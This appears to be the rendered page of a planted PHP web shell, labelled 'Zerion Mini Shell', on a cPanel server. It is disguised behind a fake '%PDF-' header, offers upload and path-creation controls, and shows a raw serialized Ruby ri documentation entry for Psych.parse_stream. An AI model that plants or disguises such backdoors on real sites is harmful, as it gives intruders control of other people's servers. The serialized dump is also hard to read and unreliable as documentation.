%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Psych/
Upload File :
Create Path :
Current File : //proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Psych/parse_stream-c.ri

U:RDoc::AnyMethod[iI"parse_stream:EFI"Psych::parse_stream;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[	I"GParse a YAML string in +yaml+.  Returns the Psych::Nodes::Stream. ;TI"IThis method can handle multiple YAML documents contained in +yaml+. ;TI"L+filename+ is used in the exception message if a Psych::SyntaxError is ;TI"raised.;To:RDoc::Markup::BlankLineo;
;	[I"OIf a block is given, a Psych::Nodes::Document node will be yielded to the ;TI" block as it's being parsed.;T@o;
;	[I"FRaises a Psych::SyntaxError when a YAML syntax error is detected.;T@o;
;	[I"
Example:;T@o:RDoc::Markup::Verbatim;	[I"MPsych.parse_stream("---\n - a\n - b") # => #<Psych::Nodes::Stream:0x00>
;TI"
;TI"2Psych.parse_stream("--- a\n--- b") do |node|
;TI"0  node # => #<Psych::Nodes::Document:0x00>
;TI"	end
;TI"
;TI"begin
;TI"/  Psych.parse_stream("--- `", "file.txt")
;TI"%rescue Psych::SyntaxError => ex
;TI""  ex.file    # => 'file.txt'
;TI"Q  ex.message # => "(file.txt): found character that cannot start any token"
;TI"	end
;T:@format0o;
;	[I":See Psych::Nodes for more information about YAML AST.;T:
@fileI"ext/psych/lib/psych.rb;T:0@omit_headings_from_table_of_contents_below000[I"#(yaml, filename = nil, &block);T@-FI"
Psych;FcRDoc::NormalModule00

Zerion Mini Shell 1.0